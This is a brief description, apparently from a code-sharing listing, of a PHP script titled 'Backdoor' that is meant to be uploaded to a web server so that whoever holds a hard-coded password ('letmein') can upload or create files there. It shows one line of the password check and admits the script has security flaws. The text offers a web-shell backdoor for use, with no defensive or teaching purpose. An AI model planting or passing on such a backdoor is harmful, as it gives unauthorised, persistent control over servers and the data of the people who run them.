Backdoor
Upload onto a webserver to upload or create files. Just change the $key (aka password) to what you want. For the example it's set as "letmein".
$key = $_REQUEST['key'] == 'letmein' ? $_REQUEST['key'] : false;This script is also responsive. It's minimal in code and design for ease. As with such, it also has a security flaws. Use at your own risk.
